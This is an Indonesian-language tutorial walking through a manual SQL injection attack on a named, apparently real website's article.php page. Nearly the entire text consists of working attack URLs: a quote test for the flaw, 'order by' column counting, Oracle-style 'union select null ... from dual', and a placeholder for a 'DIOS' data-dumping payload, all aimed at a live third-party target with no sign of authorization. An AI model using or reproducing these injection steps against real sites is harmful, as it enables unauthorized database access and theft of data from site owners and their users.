Target
>> https://www.dmr.st/DMRSITE/article.php?id=1121
Ok kita buka site nya
Nah kalian cek vuln nya dlu beb
Carany? Ksih ' di belakang angka
Contoh
>> https://www.dmr.st/DMRSITE/article.php?id=1121'
Ok dia error, brarti vuln beb
sekarang kita lanjut ke order by nya
https://www.dmr.st/DMRSITE/article.php?id=1121%27+order+by+1--+-
loh kok masih eror?
nah kalau masih eror tinggal hapus aja string ' nya
https://www.dmr.st/DMRSITE/article.php?id=1121+order+by1--+-
nah jadi kek gitu
nah skrng kita lanjut nyari column eror nya
Dan error ny di angka 13
https://www.dmr.st/DMRSITE/article.php?id=1121+order+by+13--+-
nah lanjut lagi kita ke union select nya
https://www.dmr.st/DMRSITE/article.php?id=1121+union+select+1,2,3,4,5,6,7,8,9,10,11,12--+-
Kok error?
nah karna type nya oracle, jadi angka togel nya itu, diganti pakai null
jadi ::
https://www.dmr.st/DMRSITE/article.php?id=1121+union+select+null,null,null,null,null,null,null,null,null,null,null,null--+-
nah kek gitu yah
Ehh msih error :v
Klo msih error tinggal kalian tambah kan saja +from+dual
https://www.dmr.st/DMRSITE/article.php?id=1121+union+select+null,null,null,null,null,null,null,null,null,null,null,null+from+dual--+-
Nah normal
trus gimana lagi?nah disini kita tinggal tempel aja dios nya di null awal
>> https://www.dmr.st/DMRSITE/article.php?id=1121+union+select+DIOS KALIAN, null,null,null,null,null,null,null,null,null,null,null,null+from+dual--+-
Oke berhasil
Sekian materi dari saya semoga bermanfaat
